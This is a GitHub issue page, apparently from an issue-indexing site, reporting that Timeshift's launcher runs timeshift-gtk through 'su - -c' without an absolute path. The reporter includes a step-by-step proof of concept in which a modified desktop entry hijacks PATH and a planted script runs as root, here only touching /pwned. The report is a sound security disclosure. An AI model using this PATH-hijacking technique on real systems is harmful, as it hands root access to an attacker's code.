linuxmint / linuxmint/timeshift

Unsafe su - -c usage

Open
#516 4 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Vala
Stars
4.3k
Forks
155
PR merge metrics
No merged PRs in 30d

Description

Describe the bug
First of all, running GUI Applications as root should be avoided when possible.
But when needed, it at least should be safe.

To Reproduce
Steps to reproduce the behavior:

  1. Login as a regular user
  2. Execute the following:
cp /usr/share/applications/timeshift-gtk.desktop .local/share/applications/

sed -i "s|timeshift-launcher|env PATH=/home/`whoami`/.local/bin:\$PATH timeshift-launcher|" .local/share/applications/timeshift-gtk.desktop 

update-desktop-database .local/share/applications

cat << EOF > .local/bin/timeshift-gtk                                                       
#!/bin/bash
touch /pwned                           
EOF   

chmod +x .local/bin/timeshift-gtk
  1. Now instead of launching timeshift, user will grant root permision to any possible malware
    Now try it yourself
    ls /pwned

Expected behavior
An absolute path should be used in timeshift-launcher to avoid security issue

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by locating the code that invokes timeshift-launcher and inspect the su - -c usage implicated by the report. Reproduce the supplied desktop-entry setup, then verify that launching it uses an absolute executable path and no longer runs a user-controlled timeshift-launcher.

Written by the indexing model from the issue text.

Assessment

Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.